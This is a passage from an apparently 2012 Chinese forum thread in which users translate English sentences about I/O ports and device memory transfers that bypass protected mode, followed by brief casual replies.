the I/O system is charged to handle the next steps.
This "somewhere in memory" is represented by an I/O port
我感觉这段英文 应该理解为 “事实上,所有的设备操作 都是通过内存进行的”
雪    币: 285
活跃值: (16)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
liuyq 2012-5-15 01:30
7
0
The very interestingthing is that since the CPU doesn't actually do the
transfer and sincedevices are being used, protected mode does not interfere,
which means wecan write and read (almost) anywhere we would like to
这句话的意思应该是 “有趣的是 CPU不向设备传输数据,而设备 在 占用状态 下,保护模式 不再干涉 我们的读写操作”
雪    币: 27
活跃值: (84)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
tihty 2 2012-5-19 19:33
8
0
占在第一页先,呵呵
雪    币: 321
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
suzuk 2012-5-19 20:36
9
0
技术落后的不是一点半点了我。。
游客
登录 | 注册 方可回帖
返回